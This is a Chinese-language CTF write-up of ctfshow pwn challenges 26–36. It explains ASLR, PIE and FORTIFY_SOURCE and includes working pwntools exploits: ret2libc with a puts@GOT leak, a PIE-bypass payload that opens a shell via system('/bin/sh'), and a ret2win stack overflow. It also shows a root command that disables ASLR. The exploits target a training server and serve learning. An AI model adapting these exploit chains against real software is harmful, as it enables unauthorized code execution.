  printf("_%p", ptr);
  printf("_%p", v5);
  puts("}");
  free(ptr);
  return 0;
}

审计代码,可以看到先读取我们本地的/proc/sys/kernel/randomize_va_space文件,若里面的内容是0,那接下来输出正确的flag

那我们先看看本地的/proc/sys/kernel/randomize_va_space文件

cat /proc/sys/kernel/randomize_va_space

image-20230626120144654

看到我们的内容为2,那么我们得改为0

注意,我们要更改/proc/sys/kernel/randomize_va_space,就必须将用户切换到root,不然是改不了的。

wsl ubuntu一开始就不知道root密码的可以看这篇文章Windows下WSL Ubuntu中登录root账号的密码

su root
echo 0 > /proc/sys/kernel/randomize_va_space
./pwn

image-20230626120704721

由于环境不同给的flag会不一样,这里得用ctfshow提供的虚拟机来运行

flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}


pwn27

先把题目给的libc-2.27.so文件和pwn附件放在同个文件夹下

和上题一样操作,同样是修改/proc/sys/kernel/randomize_va_space,这次要求为0或者1

system("cat /proc/sys/kernel/randomize_va_space");
puts("If the result is 0 or 1, then you get the correct flag!");

我们上题已经修改为0了,所以直接运行就拿到flag了

flag:ctfshow{0x400687_0x400560_0x603260}


pwn28

和上题比起来什么限制都没有,直接运行获取flag(?

image-20230626122708881


PIE

由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等

于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。

可执行文件中的代码和数据会被随机地放置在内存中的某个位置,因此无法像传统的可执行文件那样准确地知道偏移量


pwn29

下载题目附件pwn,丢进虚拟机checksec

image-20230627212005089

保护全开,有PIE

是64位的,丢进ida64反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [rsp+4h] [rbp-1Ch] BYREF
  void *ptr; // [rsp+8h] [rbp-18h]
  void *v6; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  ptr = malloc(4uLL);
  v6 = dlopen("./libc-2.27.so", 258);
  puts(s);
  puts(asc_B10);
  puts(asc_B90);
  puts(asc_C20);
  puts(asc_CB0);
  puts(asc_D38);
  puts(asc_DD0);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Please confirm your ASLR level first !                  ");
  puts("    * *************************************                           ");
  system("echo 2 > /proc/sys/kernel/randomize_va_space");
  puts("Here is your ASLR level:");
  system("cat /proc/sys/kernel/randomize_va_space");
  puts("Let's take a look at protection:");
  system("checksec pwn");
  printf("executable: %p\n", main);
  printf("system@plt: %p\n", &system);
  printf("heap: %p\n", ptr);
  printf("stack: %p\n", v4);
  puts("As you can see, the protection has been fully turned on and the address has been completely randomized!");
  puts("Here is your flag:");
  puts("ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}");
  free(ptr);
  return 0;
}

代码审计,发现有system("echo 2 > /proc/sys/kernel/randomize_va_space");,把其内容更改为2,也就是将ASLR全开启

然后输出了main函数,system函数的地址,还输出了变量的堆栈的信息

最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的

然后就会为我们输出flag了

image-20230627212614012

flag:ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}


pwn30

ret2libc

下载题目附件pwn,丢进虚拟机checksec

image-20230627212855572

开了NX,没开canary和PIE

是32位,丢到ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  puts(asc_8048710);
  puts(asc_8048784);
  puts(asc_8048800);
  puts(asc_804888C);
  puts(asc_804891C);
  puts(asc_80489A0);
  puts(asc_8048A34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No Canary found & No PIE ");
  puts("    * *************************************                           ");
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

ctfshow()函数

ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

我们先看一下plt表中的函数

objdump -d -j .plt pwn

image-20230627213415637

这道题没有给我们预留后门,也没有system函数

但是plt表中有puts函数,所以我们还得使用pwn25题目的ret2libc方式来打通这道题目,因为这个程序的PIE是关闭的,并且canary也没开,ret2libc方便些

因为溢出长度没变,直接拿pwn25的exp来打即可

from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28129")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

image-20230627214303580


pwn31

绕过PIE

下载题目附件pwn,丢进虚拟机checksec

image-20230627225956584

32位,保护除了canary全开

丢进ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  printf("%p\n", main);
  ctfshow(&argc);
  puts(asc_854);
  puts(asc_8C8);
  puts(asc_944);
  puts(asc_9D0);
  puts(asc_A60);
  puts(asc_AE4);
  puts(asc_B78);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Bypass ALSR & PIE ");
  puts("    * *************************************                           ");
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

ctfshow()函数

ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

看.plt表

image-20230627230229362

代码跟上道题目的代码都一样,函数也一样,就是开启了PIE和RELRO保护

开了PIE,就代表了地址随机化,我们不能直接知道偏移量,不能直接ret2libc梭哈了,那就得寻找别的方法

注意程序中 printf("%p\n", main);会输出main函数的地址,这样就泄露了main函数的地址

我们就可以拿着它减去main函数的地址获得函数地址的偏移量,

然后拿着程序里的其他函数的地址加上这个偏移量就能拿到程序里函数在内存中的地址,

再利用程序的puts函数输出got表中puts函数的地址,

接着利用LibcSearcher模块根据puts函数的地址就能到puts函数在libc中的偏移,

进而得到libc中system函数的地址以及字符串”/bin/sh”的地址了,

这样我们再重新构造payload,就能得到目标服务器的权限了

计算溢出偏移量

首先使用gdb打开pwn,然后使用命令cyclic 200输出200个字符(pwndbg的命令)

image-20230628003631323

接着输入r命令运行程序,这时程序会让我们输入数据,我们就把我们之前的到的200个无用字符复制进去然后运行

image-20230628004051204

这时程序由于栈溢出就会爆出错误,程序会给出一个无效地址(即图中的Invalid address),就是因为这个地址是无效的,所以我们的程序才会报错,

其实这个无效地址就是被我们覆盖的ctfshow函数的返回地址

然后我们使用命令cyclic -l 0x6261616b,就可以知道这个地址的偏移量,也就是栈溢出的偏移量

image-20230628004354641

可以看到偏移量为140

exp

from pwn import *
from LibcSearcher import *

context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", 28173)
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(), 16)
print(hex(main_real_addr))
base_addr = main_real_addr - elf.sym['main']
# 获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移

puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * b'a' + p32(ebx) + 4 * b'a' + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 通过got表中puts函数的地址打印出puts函数真实的地址

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 找到libc,通过libc找到system、/bin/sh

payload = 140 * b'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

稍微解释一下

132 * b‘a’ :这里不是140的原因是在ctfshow函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]

image-20230628011530528

我们必须将这个ebx恢复而不能进行覆盖,

而那140的长度是包含ebp,所以我们132 + ebx的长度为132+4,距离140还差4个长度,我们需要再补充4个没用的字符’a’

而ebx是通过__x86.get_pc_thunk.bx这个东西得来的,

这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。

这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0

readelf -S pwn查看got表的地址

image-20230628011733737

payload之后就是加上puts函数的地址+ctfshow函数的地址

(这个地址是作为puts函数的返回地址的,等到puts函数执行完,会再次进入ctfshow函数,我们又可以继续利用溢出漏洞了),

之后再加上puts函数的参数,即got表puts函数的地址0xf7dab360

image-20230628011856603

然后就是getshell


FORTIFY_SOURCE

FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpysprintfstrcat,编译器会提示你用xx_s加强版函数

具体来说,FORTIFY_SOURCE可以对一些常见的函数,如strcpy、memcpy、memset等进行重载,使它们在运行时能够检测到缓冲区溢出等错误,并且会在出现错误时终止程序的执行,从而避免潜在的安全问题。

此外,FORTIFY_SOURCE还会对格式化字符串函数(如printf、scanf等)的参数进行检查,以确保其格式化字符串参数与实际参数的类型匹配,从而避免格式化字符串漏洞

本质上一种检查和替换机制,对GCC和glibc的一个安全补丁,目前支持memcpy, memmove, memset, strcpy, strncpy, strcat, strncat,sprintf, vsprintf, snprintf, vsnprintf, gets等

默认Ubuntu16.04下是关闭的,测试发现Ubuntu18.04是开启的
gcc -D_FORTIFY_SOURCE=1  仅仅只在编译时进行检查(尤其是#include <string.h>这种文件头)
gcc -D_FORTIFY_SOURCE=2  程序执行时也会进行检查(如果检查到缓冲区溢出,就会终止程序)

FORTIFY_SOURCE(代码增强)
-D 1(开启缓冲区溢出攻击检查)
-D 2(开启缓冲区溢出以及格式化字符串攻击检查) ,通过数组大小来判断替换strcpy、memcpy、memset等函数名,来防止缓冲区溢出。

pwn32

FORTIFY_SOURCE=0

下载题目附件pwn,丢进虚拟机checksec

image-20230628101743502

64位,保护除canary全开

丢ida64看看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  const char *v4; // rax
  int v5; // eax
  int num; // [rsp+4h] [rbp-44h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

  v3 = getegid();
  setresgid(v3, v3, v3);
  logo();
  v4 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v4;
  *(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
  buf1[10] = v4[10];
  strcpy(buf2, "CTFshowPWN");
  printf("%s %s\n", buf1, buf2);
  v5 = strtol(argv[3], 0LL, 10);
  memcpy(buf1, argv[2], v5);
  strcpy(buf2, argv[1]);
  printf("%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  printf(buf1, &num);
  if ( argc > 4 )
    Undefined();
  return 0;
}

Undefined()函数

void __cdecl Undefined()
{
  FILE *v0; // rax
  char flag[64]; // [rsp+0h] [rbp-48h] BYREF

  puts(
    "The source code of these three programs is the same, and the results of turning on different levels of protection are understood\n");
  puts("You should understand the role of these protections!But don't just get a flag\nHere is your flag:\n");
  v0 = fopen("/ctfshow_flag", "r");
  if ( !v0 )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, v0);
  puts(flag);
}

审计代码

程序接收三个参数argc、argv和envp,

其中argc表示命令行参数的数量,argv是一个字符指针数组,每个元素指向一个命令行参数的字符串,envp则是一个指向环境变量的指针数组。

函数中首先调用了getegid和setresgid函数,用于获取和设置有效的组ID。然后调用logo函数输出logo信息。

接着通过strtol函数将argv[1]中的前10个字节以及第11个字节拷贝到了buf1数组中,

然后通过strcpy函数将字符串”CTFshowPWN”拷贝到了buf2数组中,并通过printf函数输出了buf1和buf2的值。(注:其实还有argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)

然后从argv[3]中解析出一个整数值,并将argv[2]中的前v5个字节拷贝到buf1数组中,通过strcpy函数将argv[1]拷贝到buf2数组中,并通过printf函数输出了buf1和buf2的值。

接着使用fgets函数从_bss_start地址开始读取最多11个字节的数据到buf1数组中,

然后使用printf函数输出了buf1中的格式化字符串,并将num的地址作为参数传递给printf函数。

最后的if语句中,如果argc的值大于4(因为存在argv[0],所以这里默认为1),则调用Undefined函数,打开并读取一个名为”/ctfshow_flag”的文件

总之,只要我们让argc的值大于4就能拿到flag了

因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行

所以这道题只要输入4个参数就能拿到flag了

ssh连上靶机(密码123456),运行当前目录下的pwnme文件(和我们之前下载的pwn文件是一样的),运行的时候带上4个参数就行了

./pwnme 1 2 3 4

image-20230628105147622

然后程序会停住,这个时候再回车就能拿到flag了

image-20230628105329250


pwn33

FORTIFY_SOURCE=1

下载题目附件pwn,丢进虚拟机checksec

image-20230628105804054

64位,保护除canary全开

丢ida64看看

__memcpy_chk(buf1, argv[2], v5, 11LL);
__strcpy_chk(buf2, argv[1], 11LL);

和上一题不同的是memcpy和strcpy这两个函数被替换成了__mencpy_chk和__strcpy_chk安全函数

可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制,因为buf1和buf2在声明的时候的长度就是11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出

但是这里完全不影响我们输入4个参数拿到flag,因为只要我们输入的第一个和第二个参数的长度不超过11就行了

同样方式拿到flag

image-20230628110352248


pwn34

FORTIFY_SOURCE=2

下载题目附件pwn,丢进虚拟机checksec

image-20230628110610809

64位,保护除canary全开

丢进ida64

__printf_chk(1LL, "%s %s\n", buf1, buf2);
v4 = strtol(argv[3], 0LL, 10);
__memcpy_chk(buf1, argv[2], v4, 11LL);
__strcpy_chk(buf2, argv[1], 11LL);
__printf_chk(1LL, "%s %s\n", buf1, buf2);
fgets(buf1, 11, _bss_start);
__printf_chk(1LL, buf1, &num);

和上题不一样的是把printf换成了__printf__chk

区别:

不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查

这个涉及到格式化字符串漏洞,但是本题涉及不到

所以一样的方式拿flag就行了

image-20230628111158816


栈溢出

pwn35

下载并checksec附件

image-20230628111448165

32位,保护开了NX和Partial RELRO

丢进ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [esp+0h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  puts(asc_8048910);
  puts(asc_8048984);
  puts(asc_8048A00);
  puts(asc_8048A8C);
  puts(asc_8048B1C);
  puts(asc_8048BA0);
  puts(asc_8048C34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : See what the program does!                              ");
  puts("    * *************************************                           ");
  puts("Where is flag?\n");
  if ( argc <= 1 )
  {
    puts("Try again!");
  }
  else
  {
    ctfshow((char *)argv[1]);
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
  }
  return 0;
}

ctfshow()函数

char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

审计代码

程序首先将/ctfshow_flag文件的内容读取到flag变量里,然后打印一些信息

直接看到if语句:

如果argc的值<=1,就输出try again。代表我们失败了没拿到flag

如果argc的值 > 1,就进入ctfshow函数,该函数将我们输入的第一个参数也就是argv[1]赋值给dest,然后返回到main函数继续执行,会将argv[1]我们输入第一个参数的内容通过printf函数进行输出

而我们知道strcpy函数没有长度限制,是可以产生栈溢出的

所以我们输入一个字符串,长度要超过dest变量的长度104,就能导致溢出,输出flag

ssh连接靶机

image-20230628112339740


pwn36

下载并checksec附件

image-20230628112533321

32位,保护只开了Partial RELRO

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow(&argc);
  return 0;
}

ctfshow()函数

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

这里仔细看看反编译出来的几个函数,发现还存在get_flag()函数,但是不在main()函数中

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

总之先审计代码

程序先打印信息,然后进入ctfshow()函数,里面存在gets函数

注意gets函数是没有长度限制的,可以发生栈溢出

题目提示我们存在后门函数,也就是刚才发现的get_flag()函数,这个函数能打印flag

所以我们的大致思路就是通过栈溢出,将ctfshow()函数的返回地址覆盖为get_flag()函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag

首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),

我们需要的填充数据长度就为36 + 4 即 0x28 + 0x4

我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址

所以我们大致的payload就为:(0x28 + 0x4 ) * b‘a’ + p32(get_flag函数的地址)

先得到get_flag函数的地址:

image-20230628113447690

拿到了get_falg函数的地址:0x8048586

然后就能写exp了(python3)

from pwn import *

p = remote("pwn.challenge.ctf.show", "28180")

offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * b'a' + p32(get_flag_addr)

p.sendline(payload)
p.interactive()

image-20230628113837303

拿到flag


结语

非常好入门,爱来自web狗